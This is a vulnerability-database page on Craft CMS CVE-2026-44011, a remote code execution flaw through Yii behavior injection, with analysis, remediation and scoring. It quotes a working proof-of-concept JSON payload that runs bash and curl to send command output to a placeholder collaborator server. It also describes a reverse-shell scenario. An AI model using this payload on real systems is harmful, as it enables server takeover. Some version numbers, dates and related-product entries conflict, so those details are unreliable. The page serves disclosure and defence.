Skip to main content

Craft CMS CVE-2026-44011

HIGH
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (CWE-470)
2026-05-06 https://github.com/craftcms/cms GHSA-qrgm-p9w5-rrfw
8.6
CVSS 4.0 · Vendor: https://github.com/craftcms/cms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Craft admin panel
  2. Delivery
    Capture session cookie and CSRF token
  3. Exploit
    Craft malicious JSON with nested behavior injection
  4. Install
    POST to /admin/actions/element-search/search
  5. C2
    Trigger FieldLayout hydration without cleanseConfig()
  6. Execute
    Attach AttributeTypecastBehavior to Component
  7. Impact
    Fire wildcard event handler
  8. Step 8
    Execute arbitrary system commands as web server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V15 - Secure Coding and Architecture Reflection safety, class allowlisting
Exploitation Conditions

Exploitation requires an authenticated Craft CMS user account with access to admin panel endpoints (/admin/actions/*). CRITICAL AMBIGUITY: The CVE description states 'any authenticated user' can exploit this, while the related GHSA-255j-qw47-wjh5 advisory explicitly requires 'administrator access to the Craft Control Panel.' This discrepancy must be verified with the vendor - if only administrators can access /admin/actions/element-search/search, then administrator-level privileges are required; if lower-privilege authenticated users can reach these endpoints, the attack surface is significantly broader. The attacker must obtain a valid session cookie (CraftSessionId) and CSRF token (CRAFT_CSRF_TOKEN) through legitimate login or session hijacking. No special Craft CMS configuration, plugins, or non-default settings are required - the vulnerability exists in core element search and element-indexes functionality. The target server must allow outbound network connections if using the DNS/HTTP exfiltration technique demonstrated in the POC (curl to attacker server), though local command execution does not require outbound access. Exploitation is NOT limited by: specific Craft CMS features being enabled, particular content types configured, or user interaction beyond the attacker's own authenticated session.

Impact

Real-world risk is MODERATE despite enabling full remote code execution. The critical limiting factor is the authentication requirement - exploitation requires valid Craft CMS user credentials with access to admin endpoints. While the GitHub advisory for the related GHSA-255j-qw47-wjh5 states 'attackers must have administrator access,' the current CVE description and POC demonstrate exploitation by 'any authenticated user' through /admin/actions/element-search/search, indicating possible privilege escalation from low-privilege accounts. Attack complexity is LOW (AC:L inferred from detailed POC) - the exploit is straightforward JSON injection requiring only a valid session cookie and CSRF token. No public exploit identified at time of analysis beyond the vendor-provided POC, and not listed in CISA KEV, suggesting limited widespread exploitation. However, the detailed POC in the GitHub advisory significantly lowers the barrier for weaponization. The vulnerability represents a bypass of previous security fixes, indicating this is an actively researched attack surface. Impact is COMPLETE system compromise (arbitrary command execution as web server user). Organizations running Craft CMS with multiple authenticated users, especially in multi-tenant or client-accessible installations, face elevated risk. CRITICAL CONFLICT IN DATA: The related GHSA-255j-qw47-wjh5 requires administrator access, but this CVE states 'any authenticated user' - verify with vendor whether admin privileges are truly required or if this represents a distinct exploitation path with lower privilege requirements.

Exploit ScenarioDerived

An authenticated attacker with valid Craft CMS credentials logs into the admin panel and captures their session cookie and CSRF token. They craft a malicious POST request to /admin/actions/element-search/search containing a JSON payload with nested fieldLayouts configuration that injects yii\behaviors\AttributeTypecastBehavior as a behavior attachment. The payload specifies a typecastBeforeSave callable pointing to Psy\Readline\Hoa\ConsoleProcessus::execute with a Bash reverse shell command. When Craft CMS processes the element search request, it hydrates the FieldLayout object without sanitization, attaching the malicious behavior and triggering the beforeSave event via wildcard event handler. The ConsoleProcessus::execute method runs the attacker's command as the web server user (typically www-data or nginx), establishing a reverse shell to attacker-controlled infrastructure or exfiltrating sensitive data via DNS/HTTP callbacks.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 06, 2026

Remote code execution in Craft CMS allows any authenticated user to execute arbitrary system commands via malicious Yii object configuration. This vulnerability exploits uncleansed field layout data in the condition handling path, bypassing previous CVE-2024-4990 mitigations. Attackers can inject behaviors through POST requests to admin endpoints like /admin/actions/element-search/search, triggering command execution via AttributeTypecastBehavior abuse. Publicly available exploit code exists in the GitHub advisory (GHSA-qrgm-p9w5-rrfw) with detailed proof-of-concept. Affects Craft CMS 4.0.0-RC1 through 4.16.16 and 5.0.0-RC1 through 5.8.20. Vendor-released patches: 4.16.17 and 5.8.21.

RemediationAI

Upgrade immediately to Craft CMS version 5.8.21 (for 5.x deployments) or 4.16.17 (for 4.x deployments) as documented in GitHub commit 27f55886098b56c00ddc53b69239c9c9192252c7 and 6e608a1a5bfb36943f94f584b7548ca542a86fef. The patches implement Component::cleanseConfig() boundaries in the condition and field layout hydration code paths, preventing malicious configuration injection during object creation. Review the Craft CMS 5.x changelog at https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5821---2025-12-04 for complete fix details. If immediate patching is not possible, implement compensating controls: (1) Restrict authenticated user access to admin panel routes (/admin/*) using web server ACLs limited to trusted IP ranges - this prevents remote exploitation but may disrupt legitimate remote administration workflows; (2) Deploy a Web Application Firewall (WAF) rule to block POST requests to /admin/actions/element-search/search and /admin/actions/element-indexes/* containing JSON payloads with '__class', '__construct()', or 'as ' keys in the condition.fieldLayouts parameter - note this may break legitimate administrative functions using dynamic field layouts; (3) Enable comprehensive audit logging of all admin panel POST requests to detect exploitation attempts via unusual curl/wget command patterns in server logs or unexpected outbound connections. All workarounds significantly impact usability and should be considered temporary only until patching.

Affected Packages

composer craftcms/cms fix: 4.17.12, 5.9.18

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability targets Craft CMS's implementation of Yii framework's dynamic object configuration feature. The flaw (CWE-470: Use of Externally-Controlled Input to Select Classes or Code) exists in how Craft CMS hydrates FieldLayout objects from request data without applying Component::cleanseConfig() sanitization boundaries. Yii's behavior attachment mechanism (via 'as <behavior>' syntax) allows applications to dynamically attach behavior classes to components at runtime. Craft CMS models call configuration methods before parent::__construct(), enabling attacker-controlled special config keys to take effect during object creation. The vulnerability chain exploits AttributeTypecastBehavior's typecastBeforeSave functionality, which accepts arbitrary callables. When a field layout initialization triggers an event on the tainted Component (using wildcard event handlers 'on *'), the malicious callable executes. This represents an evolution of the object-config/behavior-injection vulnerability family, specifically bypassing mitigations implemented for CVE-2024-4990 and CVE-2024-58136 by using legitimate Yii behavior classes rather than arbitrary class instantiation.

Know when Mozilla gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/craftcms/cms) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/craftcms/cms) · only source for this CVE.

CVSS VectorVendor: https://github.com/craftcms/cms

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
May 12, 2026 - 21:22 NVD
8.6 (HIGH)

DescriptionCVE.org

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

  "elementType": "craft\\elements\\Category",
  "siteId": 1,
  "search": "",
  "condition": {
    "class": "craft\\elements\\conditions\\ElementCondition",
    "elementType": "craft\\elements\\Category",
    "fieldLayouts": [
      {
        "as rce": {
          "__class": "yii\\behaviors\\AttributeTypecastBehavior",
          "__construct()": [
            {
              "attributeTypes": {
                "typecastBeforeSave": [
                  "Psy\\Readline\\Hoa\\ConsoleProcessus",
                  "execute"
                ]
              },
              "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
            }
          ]
        },
        "on *": "self::beforeSave"
      }
    ]
  }
}

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

Executive ViewAI

Why It Matters

Craft CMS versions 4.0 through 4.16.16 and 5.0 through 5.8.20 are vulnerable to remote code execution by authenticated users, allowing attackers with admin access to execute arbitrary system commands through malicious object configuration. This directly threatens production websites running affected versions, as any authenticated admin user can trigger full system compromise without additional exploitation steps.

Business Impact: High
Compensating Controls

Vendor-released patch: Craft CMS 4.16.17 and 5.8.21. If patching cannot be completed immediately: (1) Restrict network access to /admin/actions/element-search/search endpoint to authorized IPs only via WAF or reverse proxy; (2) Disable or audit all admin user accounts and enforce password rotation; (3) Enable request logging and alerting for POST requests to admin endpoints; (4) Monitor system processes for unexpected command execution from web server processes.

Threat Intelligence Overview

EPSS Score
0.1%
Top 85% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:composer/craftcms_cms
pkg:composer/craftcms_cms
CVE-2015-4495 HIGH POC
8.8 Aug 08

The PDF reader in Mozilla Firefox before 39.0.3, Firefox ESR 38.x before 38.1.1, and Firefox OS before 2.2 allows remote

CVE-2013-1690 HIGH POC
8.8 Jun 26

Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before

CVE-2013-0758 CRITICAL POC
9.3 Jan 13

Mozilla Firefox before 18.0, Firefox ESR 10.x before 10.0.12 and 17.x before 17.0.2, Thunderbird before 17.0.2, Thunderb

CVE-2013-0753 CRITICAL POC
9.3 Jan 13

Use-after-free vulnerability in the serializeToStream implementation in the XMLSerializer component in Mozilla Firefox b

CVE-2012-3993 CRITICAL POC
9.3 Oct 10

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 16.0, Firefox ESR 10.x before 10.0.8, Thunderbi

CVE-2013-1710 CRITICAL POC
10.0 Aug 07

The crypto.generateCRMFRequest function in Mozilla Firefox before 23.0, Firefox ESR 17.x before 17.0.8, Thunderbird befo

CVE-2017-3823 HIGH POC
8.8 Feb 01

An issue was discovered in the Cisco WebEx Extension before 1.0.7 on Google Chrome, the ActiveTouch General Plugin Conta

CVE-2014-8636 HIGH POC
7.5 Jan 14

The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with

CVE-2013-0757 CRITICAL POC
9.3 Jan 13

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 18.0, Firefox ESR 17.x before 17.0.2, Thunderbi

CVE-2014-1510 CRITICAL POC
9.8 Mar 19

The Web IDL implementation in Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and Se

CVE-2014-1511 CRITICAL POC
9.8 Mar 19

Mozilla Firefox before 28.0, Firefox ESR 24.x before 24.4, Thunderbird before 24.4, and SeaMonkey before 2.25 allow remo

CVE-2013-0643 HIGH
8.8 Feb 27

The Firefox sandbox in Adobe Flash Player before 10.3.183.67 and 11.x before 11.6.602.171 on Windows and Mac OS X, and b

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy